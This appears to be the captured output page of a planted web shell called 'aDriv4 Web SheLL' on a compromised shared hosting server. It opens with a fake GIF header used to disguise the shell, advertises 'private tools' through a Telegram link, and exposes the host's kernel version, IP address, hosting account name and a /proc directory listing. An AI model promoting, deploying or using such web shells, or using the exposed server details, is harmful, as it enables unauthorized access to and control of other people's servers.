GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium52.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 198.54.120.81
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-27 07:20:37
.. dir - root/root 0755 2025-08-02 08:53:51
2254838 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:31
2255132 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:31
2258677 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:14
2383011 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:47
2385511 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:47
2398867 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:45
2399072 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:45
2399783 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:45
2400394 dir - rhodccbh/rhodccbh 0555 2025-12-18 10:45:41
acpi dir - root/root 0555 2025-07-27 07:20:40
bus dir - root/root 0555 2025-07-27 07:20:49
driver dir - root/root 0555 2025-12-18 10:45:48
fs dir - root/root 0555 2025-07-27 07:20:49
irq dir - root/root 0555 2025-07-27 07:20:49
kcare dir - root/root 0555 2025-12-18 10:45:48
lve dir - root/root 0555 2025-12-18 10:45:47
net link - rhodccbh/rhodccbh 0555 2025-12-18 10:45:48
scsi dir - root/root 0555 2025-07-27 07:20:49
self link - rhodccbh/rhodccbh 0555 2025-12-18 10:45:45
sys dir - root/root 0555 2025-07-27 07:20:38
sysvipc dir - root/root 0555 2025-12-18 10:45:48
thread-self link - rhodccbh/rhodccbh 0555 2025-12-18 10:45:48
tty dir - root/root 0555 2025-12-18 10:45:48
buddyinfo 0 B root/root 0444 2025-12-18 10:45:48
cgroups 0 B root/root 0444 2025-12-18 10:45:48
cmdline text/plain 0 B root/root 0444 2025-12-18 10:45:47
consoles 0 B root/root 0444 2025-12-18 10:45:48
cpuinfo text/plain 0 B root/root 0444 2025-12-18 10:45:47
crypto 0 B root/root 0444 2025-12-18 10:45:48
devices 0 B root/root 0444 2025-12-18 10:45:48
diskstats 0 B root/root 0444 2025-12-18 10:45:48
dma 0 B root/root 0444 2025-12-18 10:45:48
execdomains 0 B root/root 0444 2025-12-18 10:45:48
fb 0 B root/root 0444 2025-12-18 10:45:48
filesystems text/plain 0 B root/root 0444 2025-12-18 10:45:30
interrupts 0 B root/root 0444 2025-12-18 10:45:48
iomem 0 B root/root 0444 2025-12-18 10:45:48
ioports 0 B root/root 0444 2025-12-18 10:45:48
kallsyms 0 B root/root 0444 2025-07-27 07:20:49
kcore 128 TB root/root 0400 2025-07-27 07:20:40
key-users 0 B root/root 0444 2025-12-18 10:45:48
keys 0 B root/root 0444 2025-12-18 10:45:48
kmsg 0 B root/root 0400 2025-12-18 10:45:48
kpagecgroup 0 B root/root 0400 2025-12-18 10:45:48
kpagecount 0 B root/root 0400 2025-12-18 10:45:48
kpageflags 0 B root/root 0400 2025-12-18 10:45:48
loadavg text/plain 0 B root/root 0444 2025-12-18 10:45:48
locks 0 B root/root 0444 2025-12-18 10:45:48
mdstat 0 B root/root 0444 2025-12-18 10:45:48
meminfo text/plain 0 B root/root 0444 2025-12-18 10:45:48
misc 0 B root/root 0444 2025-12-18 10:45:48
modules 0 B root/root 0444 2025-12-18 10:45:48
mounts text/plain 0 B rhodccbh/rhodccbh 0444 2025-12-18 10:45:48
mtrr 0 B root/root 0644 2025-07-27 07:20:49
pagetypeinfo 0 B root/root 0400 2025-12-18 10:45:48
partitions 0 B root/root 0444 2025-12-18 10:45:48
sched_debug 0 B root/root 0444 2025-12-18 10:45:48
schedstat 0 B root/root 0444 2025-12-18 10:45:48
slabinfo 0 B root/root 0400 2025-12-18 10:45:48
softirqs 0 B root/root 0444 2025-12-18 10:45:48
stat text/plain 0 B root/root 0444 2025-12-18 10:45:47
swaps 0 B root/root 0444 2025-07-27 07:20:38
sysrq-trigger 0 B root/root 0200 2025-07-27 07:20:49
timer_list 0 B root/root 0400 2025-12-18 10:45:48
uptime text/plain 0 B root/root 0444 2025-12-18 10:45:48
version text/plain 0 B root/root 0444 2025-12-18 10:45:48
vmallocinfo 0 B root/root 0400 2025-12-18 10:45:48
vmstat 0 B root/root 0444 2025-12-18 10:45:48
zoneinfo 0 B root/root 0444 2025-12-18 10:45:48
© aDriv4